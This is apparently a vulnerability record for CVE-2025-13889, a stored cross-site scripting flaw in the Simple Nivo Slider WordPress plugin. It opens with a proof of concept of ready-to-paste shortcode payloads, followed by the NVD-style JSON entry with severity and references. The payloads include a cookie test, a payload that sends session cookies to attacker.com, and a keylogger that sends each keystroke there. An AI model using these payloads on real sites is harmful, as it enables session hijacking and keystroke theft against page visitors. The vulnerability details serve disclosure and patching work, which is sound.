CVE-2025-13889

<!-- Stored XSS PoC for CVE-2025-13889 --> <!-- Author: Contributor or higher privilege user --> <!-- Basic XSS PoC - Insert in WordPress post/page content --> [simple-nivo-slider id='"><script>alert(document.cookie)</script>'] <!-- Steal session cookies - More sophisticated attack --> [simple-nivo-slider id='"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- Keylogger PoC --> [simple-nivo-slider id='"><script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script>'] <!-- Attack requires Contributor-level access in WordPress --> <!-- The malicious shortcode is stored in database and executed for all page visitors -->

{"cve": {"id": "CVE-2025-13889", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:43.463", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Nivo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode parameter in all versions up to, and including, 0.5.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-nivo-slider/tags/0.5.6/simple-nivo-slider.php#L208", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-nivo-slider/trunk/simple-nivo-slider.php#L208", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0c1c343c-ef16-4468-a983-0dc9fd152dd5?source=cve", "source": "[email protected]"}]}}